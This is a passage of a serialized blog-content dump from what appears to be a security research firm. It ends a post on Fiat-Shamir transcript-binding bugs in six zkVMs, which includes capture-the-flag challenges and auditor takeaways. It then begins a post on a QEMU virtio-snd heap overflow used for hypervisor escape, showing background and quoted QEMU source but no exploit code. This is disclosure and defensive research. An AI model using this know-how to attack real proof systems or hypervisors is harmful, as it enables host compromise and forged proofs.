2025",{"type":24,"tag":122566,"props":122639,"children":122640},{},[122641],{"type":29,"value":122642},"Mar 5, 2026",{"type":24,"tag":122566,"props":122644,"children":122645},{},[122646],{"type":29,"value":122647},"~4 months",{"type":24,"tag":122535,"props":122649,"children":122650},{},[122651,122655,122660,122665],{"type":24,"tag":122566,"props":122652,"children":122653},{},[122654],{"type":29,"value":107423},{"type":24,"tag":122566,"props":122656,"children":122657},{},[122658],{"type":29,"value":122659},"Dec 2025",{"type":24,"tag":122566,"props":122661,"children":122662},{},[122663],{"type":29,"value":122664},"Dec 29, 2025",{"type":24,"tag":122566,"props":122666,"children":122667},{},[122668],{"type":29,"value":122584},{"type":24,"tag":122535,"props":122670,"children":122671},{},[122672,122676,122680,122685],{"type":24,"tag":122566,"props":122673,"children":122674},{},[122675],{"type":29,"value":107417},{"type":24,"tag":122566,"props":122677,"children":122678},{},[122679],{"type":29,"value":122637},{"type":24,"tag":122566,"props":122681,"children":122682},{},[122683],{"type":29,"value":122684},"Jan 21, 2026?",{"type":24,"tag":122566,"props":122686,"children":122687},{},[122688],{"type":29,"value":122689},"3 months",{"type":24,"tag":25,"props":122691,"children":122692},{},[122693],{"type":29,"value":122694},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":24,"tag":18531,"props":122696,"children":122697},{},[],{"type":24,"tag":51,"props":122699,"children":122701},{"id":122700},"challenges",[122702],{"type":29,"value":107436},{"type":24,"tag":25,"props":122704,"children":122705},{},[122706,122708],{"type":29,"value":122707},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":24,"tag":122709,"props":122710,"children":122711},"del",{},[122712],{"type":29,"value":122713},"the first 10 solvers will get a T-shirt.",{"type":24,"tag":25,"props":122715,"children":122716},{},[122717,122719,122772,122773,123029],{"type":29,"value":122718},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":24,"tag":32,"props":122720,"children":122722},{"className":122721},[3726,3727],[122723],{"type":24,"tag":83,"props":122724,"children":122726},{"className":122725},[3732],[122727],{"type":24,"tag":83,"props":122728,"children":122730},{"className":122729,"ariaHidden":1237},[3737],[122731],{"type":24,"tag":83,"props":122732,"children":122734},{"className":122733},[3742],[122735,122739,122744,122749,122753,122758,122763,122767],{"type":24,"tag":83,"props":122736,"children":122738},{"className":122737,"style":114635},[3747],[],{"type":24,"tag":83,"props":122740,"children":122742},{"className":122741},[3753,21328],[122743],{"type":29,"value":2033},{"type":24,"tag":83,"props":122745,"children":122747},{"className":122746},[3865],[122748],{"type":29,"value":3868},{"type":24,"tag":83,"props":122750,"children":122752},{"className":122751,"style":3872},[3833],[],{"type":24,"tag":83,"props":122754,"children":122756},{"className":122755},[3753,21328],[122757],{"type":29,"value":2968},{"type":24,"tag":83,"props":122759,"children":122761},{"className":122760},[3865],[122762],{"type":29,"value":3868},{"type":24,"tag":83,"props":122764,"children":122766},{"className":122765,"style":3872},[3833],[],{"type":24,"tag":83,"props":122768,"children":122770},{"className":122769},[3753,21328],[122771],{"type":29,"value":2891},{"type":29,"value":109236},{"type":24,"tag":32,"props":122774,"children":122776},{"className":122775},[3726,3727],[122777],{"type":24,"tag":83,"props":122778,"children":122780},{"className":122779},[3732],[122781],{"type":24,"tag":83,"props":122782,"children":122784},{"className":122783,"ariaHidden":1237},[3737],[122785,122848,122910,123016],{"type":24,"tag":83,"props":122786,"children":122788},{"className":122787},[3742],[122789,122794,122835,122839,122844],{"type":24,"tag":83,"props":122790,"children":122793},{"className":122791,"style":122792},[3747],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":24,"tag":83,"props":122795,"children":122797},{"className":122796},[3753],[122798,122803],{"type":24,"tag":83,"props":122799,"children":122801},{"className":122800},[3753,21328],[122802],{"type":29,"value":2033},{"type":24,"tag":83,"props":122804,"children":122806},{"className":122805},[3769],[122807],{"type":24,"tag":83,"props":122808,"children":122810},{"className":122809},[3774],[122811],{"type":24,"tag":83,"props":122812,"children":122814},{"className":122813},[3779],[122815],{"type":24,"tag":83,"props":122816,"children":122818},{"className":122817,"style":3748},[3784],[122819],{"type":24,"tag":83,"props":122820,"children":122821},{"style":3788},[122822,122826],{"type":24,"tag":83,"props":122823,"children":122825},{"className":122824,"style":3794},[3793],[],{"type":24,"tag":83,"props":122827,"children":122829},{"className":122828},[3799,3800,3801,3802],[122830],{"type":24,"tag":83,"props":122831,"children":122833},{"className":122832},[3753,3802],[122834],{"type":29,"value":17032},{"type":24,"tag":83,"props":122836,"children":122838},{"className":122837,"style":3834},[3833],[],{"type":24,"tag":83,"props":122840,"children":122842},{"className":122841},[3839],[122843],{"type":29,"value":4126},{"type":24,"tag":83,"props":122845,"children":122847},{"className":122846,"style":3834},[3833],[],{"type":24,"tag":83,"props":122849,"children":122851},{"className":122850},[3742],[122852,122856,122897,122901,122906],{"type":24,"tag":83,"props":122853,"children":122855},{"className":122854,"style":3748},[3747],[],{"type":24,"tag":83,"props":122857,"children":122859},{"className":122858},[3753],[122860,122865],{"type":24,"tag":83,"props":122861,"children":122863},{"className":122862},[3753,21328],[122864],{"type":29,"value":2968},{"type":24,"tag":83,"props":122866,"children":122868},{"className":122867},[3769],[122869],{"type":24,"tag":83,"props":122870,"children":122872},{"className":122871},[3774],[122873],{"type":24,"tag":83,"props":122874,"children":122876},{"className":122875},[3779],[122877],{"type":24,"tag":83,"props":122878,"children":122880},{"className":122879,"style":3748},[3784],[122881],{"type":24,"tag":83,"props":122882,"children":122883},{"style":3788},[122884,122888],{"type":24,"tag":83,"props":122885,"children":122887},{"className":122886,"style":3794},[3793],[],{"type":24,"tag":83,"props":122889,"children":122891},{"className":122890},[3799,3800,3801,3802],[122892],{"type":24,"tag":83,"props":122893,"children":122895},{"className":122894},[3753,3802],[122896],{"type":29,"value":17032},{"type":24,"tag":83,"props":122898,"children":122900},{"className":122899,"style":3931},[3833],[],{"type":24,"tag":83,"props":122902,"children":122904},{"className":122903},[3936],[122905],{"type":29,"value":1275},{"type":24,"tag":83,"props":122907,"children":122909},{"className":122908,"style":3931},[3833],[],{"type":24,"tag":83,"props":122911,"children":122913},{"className":122912},[3742],[122914,122919,122960,122965,122969,122974,122979,122983,122988,122993,122997,123002,123006,123012],{"type":24,"tag":83,"props":122915,"children":122918},{"className":122916,"style":122917},[3747],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":24,"tag":83,"props":122920,"children":122922},{"className":122921},[3753],[122923,122928],{"type":24,"tag":83,"props":122924,"children":122926},{"className":122925},[3753,21328],[122927],{"type":29,"value":2891},{"type":24,"tag":83,"props":122929,"children":122931},{"className":122930},[3769],[122932],{"type":24,"tag":83,"props":122933,"children":122935},{"className":122934},[3774],[122936],{"type":24,"tag":83,"props":122937,"children":122939},{"className":122938},[3779],[122940],{"type":24,"tag":83,"props":122941,"children":122943},{"className":122942,"style":3748},[3784],[122944],{"type":24,"tag":83,"props":122945,"children":122946},{"style":3788},[122947,122951],{"type":24,"tag":83,"props":122948,"children":122950},{"className":122949,"style":3794},[3793],[],{"type":24,"tag":83,"props":122952,"children":122954},{"className":122953},[3799,3800,3801,3802],[122955],{"type":24,"tag":83,"props":122956,"children":122958},{"className":122957},[3753,3802],[122959],{"type":29,"value":17032},{"type":24,"tag":83,"props":122961,"children":122963},{"className":122962},[3865],[122964],{"type":29,"value":3868},{"type":24,"tag":83,"props":122966,"children":122968},{"className":122967,"style":3872},[3833],[],{"type":24,"tag":83,"props":122970,"children":122972},{"className":122971},[3753,21328],[122973],{"type":29,"value":2033},{"type":24,"tag":83,"props":122975,"children":122977},{"className":122976},[3865],[122978],{"type":29,"value":3868},{"type":24,"tag":83,"props":122980,"children":122982},{"className":122981,"style":3872},[3833],[],{"type":24,"tag":83,"props":122984,"children":122986},{"className":122985},[3753,21328],[122987],{"type":29,"value":2968},{"type":24,"tag":83,"props":122989,"children":122991},{"className":122990},[3865],[122992],{"type":29,"value":3868},{"type":24,"tag":83,"props":122994,"children":122996},{"className":122995,"style":3872},[3833],[],{"type":24,"tag":83,"props":122998,"children":123000},{"className":122999},[3753,21328],[123001],{"type":29,"value":2891},{"type":24,"tag":83,"props":123003,"children":123005},{"className":123004,"style":3931},[3833],[],{"type":24,"tag":83,"props":123007,"children":123009},{"className":123008},[3936],[123010],{"type":29,"value":123011},"≥",{"type":24,"tag":83,"props":123013,"children":123015},{"className":123014,"style":3931},[3833],[],{"type":24,"tag":83,"props":123017,"children":123019},{"className":123018},[3742],[123020,123024],{"type":24,"tag":83,"props":123021,"children":123023},{"className":123022,"style":93791},[3747],[],{"type":24,"tag":83,"props":123025,"children":123027},{"className":123026},[3753],[123028],{"type":29,"value":3756},{"type":29,"value":123030},". Good luck!",{"type":24,"tag":1818,"props":123032,"children":123034},{"id":123033},"jolt",[123035],{"type":29,"value":107393},{"type":24,"tag":25,"props":123037,"children":123038},{},[123039,123041,123052,123054],{"type":29,"value":123040},"See ",{"type":24,"tag":2033,"props":123042,"children":123049},{"href":123043,"target":123044,"rel":123045,"download":123048},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[123046,123047],"noopener","noreferrer","handout_jolt.tar.gz",[123050],{"type":29,"value":123051},"the handout",{"type":29,"value":123053}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":24,"tag":32,"props":123055,"children":123057},{"className":123056},[],[123058],{"type":29,"value":123059},"jolt.chal.osec.io:8960",{"type":24,"tag":1818,"props":123061,"children":123063},{"id":123062},"nexus-1",[123064],{"type":29,"value":107399},{"type":24,"tag":25,"props":123066,"children":123067},{},[123068,123069,123076,123077],{"type":29,"value":123040},{"type":24,"tag":2033,"props":123070,"children":123074},{"href":123071,"target":123044,"rel":123072,"download":123073},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[123046,123047],"handout_nexus.tar.gz",[123075],{"type":29,"value":123051},{"type":29,"value":123053},{"type":24,"tag":32,"props":123078,"children":123080},{"className":123079},[],[123081],{"type":29,"value":123082},"nexus.chal.osec.io:8950",{"type":24,"tag":25,"props":123084,"children":123085},{},[123086],{"type":29,"value":123087},"Now you should have enough margin to prove Fermat wrong.",{"type":24,"tag":18531,"props":123089,"children":123090},{},[],{"type":24,"tag":51,"props":123092,"children":123094},{"id":123093},"takeaways",[123095],{"type":29,"value":123096},"Takeaways",{"type":24,"tag":25,"props":123098,"children":123099},{},[123100],{"type":29,"value":123101},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":24,"tag":25,"props":123103,"children":123104},{},[123105],{"type":29,"value":123106},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":24,"tag":25,"props":123108,"children":123109},{},[123110,123115],{"type":24,"tag":2040,"props":123111,"children":123112},{},[123113],{"type":29,"value":123114},"For the ZK ecosystem:",{"type":29,"value":123116}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":24,"tag":25,"props":123118,"children":123119},{},[123120],{"type":29,"value":123121},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":24,"tag":25,"props":123123,"children":123124},{},[123125,123130],{"type":24,"tag":2040,"props":123126,"children":123127},{},[123128],{"type":29,"value":123129},"For auditors:",{"type":29,"value":123131}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":24,"tag":25,"props":123133,"children":123134},{},[123135,123140],{"type":24,"tag":2040,"props":123136,"children":123137},{},[123138],{"type":29,"value":123139},"For builders:",{"type":29,"value":123141}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":24,"tag":2584,"props":123143,"children":123144},{},[123145],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":123147},[123148,123149,123152,123158,123159,123167,123173,123176,123177,123181],{"id":107444,"depth":113,"text":107447},{"id":107586,"depth":113,"text":107589,"children":123150},[123151],{"id":107592,"depth":128,"text":107595},{"id":108021,"depth":113,"text":108024,"children":123153},[123154,123155,123156,123157],{"id":108032,"depth":128,"text":108035},{"id":108220,"depth":128,"text":108223},{"id":111601,"depth":128,"text":111604},{"id":112815,"depth":128,"text":112818},{"id":114452,"depth":113,"text":114455},{"id":114958,"depth":113,"text":114961,"children":123160},[123161,123162,123163,123164,123165,123166],{"id":114980,"depth":128,"text":114983},{"id":116305,"depth":128,"text":107399},{"id":117441,"depth":128,"text":117444},{"id":118109,"depth":128,"text":118112},{"id":120765,"depth":128,"text":120768},{"id":121319,"depth":128,"text":107423},{"id":122248,"depth":113,"text":122251,"children":123168},[123169,123170,123171,123172],{"id":122259,"depth":128,"text":122262},{"id":122429,"depth":128,"text":122432},{"id":122453,"depth":128,"text":122456},{"id":122469,"depth":128,"text":122472},{"id":122483,"depth":113,"text":122486,"children":123174},[123175],{"id":122489,"depth":128,"text":122492},{"id":122523,"depth":113,"text":122526},{"id":122700,"depth":113,"text":107436,"children":123178},[123179,123180],{"id":123033,"depth":128,"text":107393},{"id":123062,"depth":128,"text":107399},{"id":123093,"depth":113,"text":123096},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":123186,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":123187,"description":123188,"date":123189,"author":123190,"image":123191,"isFeatured":16,"onBlogPage":16,"tags":123193,"body":123196,"_type":2606,"_id":131482,"_source":2608,"_file":131483,"_stem":131484,"_extension":2611},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":123192,"width":14,"height":15},"/posts/virtio-snd-qemu-0day/title.png",[123194,123195],"qemu","heap-overflow",{"type":21,"children":123197,"toc":131464},[123198,123203,123208,123213,123219,123224,123229,123237,123243,123255,123259,123264,123272,123277,123283,123288,123301,123911,123946,123991,124025,124060,124195,124243,124249,124254,125010,125055,125091,125126,125191,125211,125661,125708,125711,125716,125781,125807,125829,125833,125838,125843,125849,125854,125859,125864,125870,125883,125889,125894,125902,125972,125977,125983,125996,126222,126285,126304,126687,126692,126725,126730,127006,127018,127036,127315,127327,127330,127365,127370,127376,127388,127400,127405,127410,127420,127455,128072,128104,128115,128151,128164,128170,128182,128190,128216,128221,128254,128295,128301,128320,128358,128366,128415,128420,128469,128474,128482,128569,128575,128614,128626,128634,128652,128671,128679,128691,128699,128718,128726,128737,128745,128756,128764,128777,128785,128791,128796,128809,128817,128835,128843,128855,128860,128868,128904,128937,128944,128978,128986,128991,128997,129009,129020,129299,129359,129427,129435,129469,130073,130084,130092,130098,130103,130114,130868,130901,130913,130999,131019,131228,131275,131287,131293,131312,131338,131366,131382,131409,131412,131432,131446,131450,131455,131460],{"type":24,"tag":25,"props":123199,"children":123200},{},[123201],{"type":29,"value":123202},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":24,"tag":51,"props":123204,"children":123205},{"id":123194},[123206],{"type":29,"value":123207},"QEMU",{"type":24,"tag":25,"props":123209,"children":123210},{},[123211],{"type":29,"value":123212},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":24,"tag":1818,"props":123214,"children":123216},{"id":123215},"virtio-devices",[123217],{"type":29,"value":123218},"Virtio Devices",{"type":24,"tag":25,"props":123220,"children":123221},{},[123222],{"type":29,"value":123223},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":24,"tag":25,"props":123225,"children":123226},{},[123227],{"type":29,"value":123228},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":24,"tag":25,"props":123230,"children":123231},{},[123232],{"type":24,"tag":2510,"props":123233,"children":123236},{"alt":123234,"src":123235},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":24,"tag":51,"props":123238,"children":123240},{"id":123239},"finding-a-bug",[123241],{"type":29,"value":123242},"Finding a Bug",{"type":24,"tag":25,"props":123244,"children":123245},{},[123246,123248,123254],{"type":29,"value":123247},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":24,"tag":32,"props":123249,"children":123251},{"className":123250},[],[123252],{"type":29,"value":123253},"virtio-snd",{"type":29,"value":161},{"type":24,"tag":1818,"props":123256,"children":123257},{"id":123253},[123258],{"type":29,"value":123253},{"type":24,"tag":25,"props":123260,"children":123261},{},[123262],{"type":29,"value":123263},"From the official documentation:",{"type":24,"tag":2677,"props":123265,"children":123266},{},[123267],{"type":24,"tag":25,"props":123268,"children":123269},{},[123270],{"type":29,"value":123271},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":24,"tag":25,"props":123273,"children":123274},{},[123275],{"type":29,"value":123276},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":24,"tag":18631,"props":123278,"children":123280},{"id":123279},"audio-data-buffers",[123281],{"type":29,"value":123282},"Audio Data Buffers",{"type":24,"tag":25,"props":123284,"children":123285},{},[123286],{"type":29,"value":123287},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":24,"tag":25,"props":123289,"children":123290},{},[123291,123293,123299],{"type":29,"value":123292},"For example, the following is ",{"type":24,"tag":32,"props":123294,"children":123296},{"className":123295},[],[123297],{"type":29,"value":123298},"virtio_snd_handle_rx_xfer",{"type":29,"value":123300},", which is responsible for allocating buffers for an input audio stream:",{"type":24,"tag":73,"props":123302,"children":123304},{"code":123303,"language":2891,"meta":7,"className":16250,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtQueueElement *elem;\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));     // [1]\n        if (!elem) {\n            break;\n        }\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);                  // [2]\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n            buffer->elem = elem;\n            buffer->vq = vq;\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n        }\n        continue;\n\n        [...]\n}\n\n",[123305],{"type":24,"tag":32,"props":123306,"children":123307},{"__ignoreMap":7},[123308,123315,123323,123331,123338,123346,123354,123362,123410,123417,123434,123441,123448,123460,123477,123484,123520,123540,123551,123558,123565,123573,123580,123613,123672,123690,123729,123754,123778,123806,123833,123871,123878,123890,123897,123904],{"type":24,"tag":83,"props":123309,"children":123310},{"class":85,"line":86},[123311],{"type":24,"tag":83,"props":123312,"children":123313},{"style":2735},[123314],{"type":29,"value":49082},{"type":24,"tag":83,"props":123316,"children":123317},{"class":85,"line":113},[123318],{"type":24,"tag":83,"props":123319,"children":123320},{"style":2735},[123321],{"type":29,"value":123322}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":24,"tag":83,"props":123324,"children":123325},{"class":85,"line":128},[123326],{"type":24,"tag":83,"props":123327,"children":123328},{"style":2735},[123329],{"type":29,"value":123330}," * respective streams for consumption.\n",{"type":24,"tag":83,"props":123332,"children":123333},{"class":85,"line":183},[123334],{"type":24,"tag":83,"props":123335,"children":123336},{"style":2735},[123337],{"type":29,"value":19228},{"type":24,"tag":83,"props":123339,"children":123340},{"class":85,"line":203},[123341],{"type":24,"tag":83,"props":123342,"children":123343},{"style":2735},[123344],{"type":29,"value":123345}," * @vdev: VirtIOSound device\n",{"type":24,"tag":83,"props":123347,"children":123348},{"class":85,"line":212},[123349],{"type":24,"tag":83,"props":123350,"children":123351},{"style":2735},[123352],{"type":29,"value":123353}," * @vq: rx virtqueue\n",{"type":24,"tag":83,"props":123355,"children":123356},{"class":85,"line":256},[123357],{"type":24,"tag":83,"props":123358,"children":123359},{"style":2735},[123360],{"type":29,"value":123361}," */\n",{"type":24,"tag":83,"props":123363,"children":123364},{"class":85,"line":270},[123365,123369,123373,123378,123383,123387,123392,123397,123401,123406],{"type":24,"tag":83,"props":123366,"children":123367},{"style":90},[123368],{"type":29,"value":50759},{"type":24,"tag":83,"props":123370,"children":123371},{"style":90},[123372],{"type":29,"value":50764},{"type":24,"tag":83,"props":123374,"children":123375},{"style":101},[123376],{"type":29,"value":123377}," virtio_snd_handle_rx_xfer",{"type":24,"tag":83,"props":123379,"children":123380},{"style":107},[123381],{"type":29,"value":123382},"(VirtIODevice ",{"type":24,"tag":83,"props":123384,"children":123385},{"style":143},[123386],{"type":29,"value":4315},{"type":24,"tag":83,"props":123388,"children":123389},{"style":137},[123390],{"type":29,"value":123391},"vdev",{"type":24,"tag":83,"props":123393,"children":123394},{"style":107},[123395],{"type":29,"value":123396},", VirtQueue ",{"type":24,"tag":83,"props":123398,"children":123399},{"style":143},[123400],{"type":29,"value":4315},{"type":24,"tag":83,"props":123402,"children":123403},{"style":137},[123404],{"type":29,"value":123405},"vq",{"type":24,"tag":83,"props":123407,"children":123408},{"style":107},[123409],{"type":29,"value":2905},{"type":24,"tag":83,"props":123411,"children":123412},{"class":85,"line":302},[123413],{"type":24,"tag":83,"props":123414,"children":123415},{"style":107},[123416],{"type":29,"value":10628},{"type":24,"tag":83,"props":123418,"children":123419},{"class":85,"line":324},[123420,123425,123429],{"type":24,"tag":83,"props":123421,"children":123422},{"style":107},[123423],{"type":29,"value":123424},"    VirtQueueElement ",{"type":24,"tag":83,"props":123426,"children":123427},{"style":143},[123428],{"type":29,"value":4315},{"type":24,"tag":83,"props":123430,"children":123431},{"style":107},[123432],{"type":29,"value":123433},"elem;\n",{"type":24,"tag":83,"props":123435,"children":123436},{"class":85,"line":345},[123437],{"type":24,"tag":83,"props":123438,"children":123439},{"style":107},[123440],{"type":29,"value":104334},{"type":24,"tag":83,"props":123442,"children":123443},{"class":85,"line":358},[123444],{"type":24,"tag":83,"props":123445,"children":123446},{"emptyLinePlaceholder":16},[123447],{"type":29,"value":3422},{"type":24,"tag":83,"props":123449,"children":123450},{"class":85,"line":367},[123451,123455],{"type":24,"tag":83,"props":123452,"children":123453},{"style":117},[123454],{"type":29,"value":2777},{"type":24,"tag":83,"props":123456,"children":123457},{"style":107},[123458],{"type":29,"value":123459}," (;;) {\n",{"type":24,"tag":83,"props":123461,"children":123462},{"class":85,"line":406},[123463,123468,123472],{"type":24,"tag":83,"props":123464,"children":123465},{"style":107},[123466],{"type":29,"value":123467},"        VirtIOSoundPCMStream ",{"type":24,"tag":83,"props":123469,"children":123470},{"style":143},[123471],{"type":29,"value":4315},{"type":24,"tag":83,"props":123473,"children":123474},{"style":107},[123475],{"type":29,"value":123476},"stream;\n",{"type":24,"tag":83,"props":123478,"children":123479},{"class":85,"line":427},[123480],{"type":24,"tag":83,"props":123481,"children":123482},{"emptyLinePlaceholder":16},[123483],{"type":29,"value":3422},{"type":24,"tag":83,"props":123485,"children":123486},{"class":85,"line":440},[123487,123492,123496,123501,123506,123510,123515],{"type":24,"tag":83,"props":123488,"children":123489},{"style":107},[123490],{"type":29,"value":123491},"        elem ",{"type":24,"tag":83,"props":123493,"children":123494},{"style":143},[123495],{"type":29,"value":1275},{"type":24,"tag":83,"props":123497,"children":123498},{"style":101},[123499],{"type":29,"value":123500}," virtqueue_pop",{"type":24,"tag":83,"props":123502,"children":123503},{"style":107},[123504],{"type":29,"value":123505},"(vq, ",{"type":24,"tag":83,"props":123507,"children":123508},{"style":90},[123509],{"type":29,"value":55041},{"type":24,"tag":83,"props":123511,"children":123512},{"style":107},[123513],{"type":29,"value":123514},"(VirtQueueElement));",{"type":24,"tag":83,"props":123516,"children":123517},{"style":2735},[123518],{"type":29,"value":123519},"     // [1]\n",{"type":24,"tag":83,"props":123521,"children":123522},{"class":85,"line":449},[123523,123527,123531,123535],{"type":24,"tag":83,"props":123524,"children":123525},{"style":117},[123526],{"type":29,"value":3018},{"type":24,"tag":83,"props":123528,"children":123529},{"style":107},[123530],{"type":29,"value":223},{"type":24,"tag":83,"props":123532,"children":123533},{"style":143},[123534],{"type":29,"value":20362},{"type":24,"tag":83,"props":123536,"children":123537},{"style":107},[123538],{"type":29,"value":123539},"elem) {\n",{"type":24,"tag":83,"props":123541,"children":123542},{"class":85,"line":458},[123543,123547],{"type":24,"tag":83,"props":123544,"children":123545},{"style":117},[123546],{"type":29,"value":3044},{"type":24,"tag":83,"props":123548,"children":123549},{"style":107},[123550],{"type":29,"value":321},{"type":24,"tag":83,"props":123552,"children":123553},{"class":85,"line":1065},[123554],{"type":24,"tag":83,"props":123555,"children":123556},{"style":107},[123557],{"type":29,"value":3092},{"type":24,"tag":83,"props":123559,"children":123560},{"class":85,"line":1668},[123561],{"type":24,"tag":83,"props":123562,"children":123563},{"emptyLinePlaceholder":16},[123564],{"type":29,"value":3422},{"type":24,"tag":83,"props":123566,"children":123567},{"class":85,"line":1713},[123568],{"type":24,"tag":83,"props":123569,"children":123570},{"style":107},[123571],{"type":29,"value":123572},"        [...]\n",{"type":24,"tag":83,"props":123574,"children":123575},{"class":85,"line":1730},[123576],{"type":24,"tag":83,"props":123577,"children":123578},{"emptyLinePlaceholder":16},[123579],{"type":29,"value":3422},{"type":24,"tag":83,"props":123581,"children":123582},{"class":85,"line":1770},[123583,123588,123592,123596,123600,123604,123609],{"type":24,"tag":83,"props":123584,"children":123585},{"style":101},[123586],{"type":29,"value":123587},"        WITH_QEMU_LOCK_GUARD",{"type":24,"tag":83,"props":123589,"children":123590},{"style":107},[123591],{"type":29,"value":558},{"type":24,"tag":83,"props":123593,"children":123594},{"style":143},[123595],{"type":29,"value":2853},{"type":24,"tag":83,"props":123597,"children":123598},{"style":137},[123599],{"type":29,"value":35992},{"type":24,"tag":83,"props":123601,"children":123602},{"style":107},[123603],{"type":29,"value":13502},{"type":24,"tag":83,"props":123605,"children":123606},{"style":137},[123607],{"type":29,"value":123608},"queue_mutex",{"type":24,"tag":83,"props":123610,"children":123611},{"style":107},[123612],{"type":29,"value":253},{"type":24,"tag":83,"props":123614,"children":123615},{"class":85,"line":1778},[123616,123621,123625,123630,123634,123638,123642,123647,123651,123655,123659,123664,123668],{"type":24,"tag":83,"props":123617,"children":123618},{"style":107},[123619],{"type":29,"value":123620},"            size ",{"type":24,"tag":83,"props":123622,"children":123623},{"style":143},[123624],{"type":29,"value":1275},{"type":24,"tag":83,"props":123626,"children":123627},{"style":101},[123628],{"type":29,"value":123629}," iov_size",{"type":24,"tag":83,"props":123631,"children":123632},{"style":107},[123633],{"type":29,"value":558},{"type":24,"tag":83,"props":123635,"children":123636},{"style":137},[123637],{"type":29,"value":51778},{"type":24,"tag":83,"props":123639,"children":123640},{"style":107},[123641],{"type":29,"value":13502},{"type":24,"tag":83,"props":123643,"children":123644},{"style":137},[123645],{"type":29,"value":123646},"in_sg",{"type":24,"tag":83,"props":123648,"children":123649},{"style":107},[123650],{"type":29,"value":568},{"type":24,"tag":83,"props":123652,"children":123653},{"style":137},[123654],{"type":29,"value":51778},{"type":24,"tag":83,"props":123656,"children":123657},{"style":107},[123658],{"type":29,"value":13502},{"type":24,"tag":83,"props":123660,"children":123661},{"style":137},[123662],{"type":29,"value":123663},"in_num",{"type":24,"tag":83,"props":123665,"children":123666},{"style":107},[123667],{"type":29,"value":633},{"type":24,"tag":83,"props":123669,"children":123670},{"style":143},[123671],{"type":29,"value":50576},{"type":24,"tag":83,"props":123673,"children":123674},{"class":85,"line":1803},[123675,123680,123685],{"type":24,"tag":83,"props":123676,"children":123677},{"style":90},[123678],{"type":29,"value":123679},"                sizeof",{"type":24,"tag":83,"props":123681,"children":123682},{"style":107},[123683],{"type":29,"value":123684},"(virtio_snd_pcm_status);",{"type":24,"tag":83,"props":123686,"children":123687},{"style":2735},[123688],{"type":29,"value":123689},"                  // [2]\n",{"type":24,"tag":83,"props":123691,"children":123692},{"class":85,"line":1811},[123693,123698,123702,123707,123711,123715,123720,123724],{"type":24,"tag":83,"props":123694,"children":123695},{"style":107},[123696],{"type":29,"value":123697},"            buffer ",{"type":24,"tag":83,"props":123699,"children":123700},{"style":143},[123701],{"type":29,"value":1275},{"type":24,"tag":83,"props":123703,"children":123704},{"style":101},[123705],{"type":29,"value":123706}," 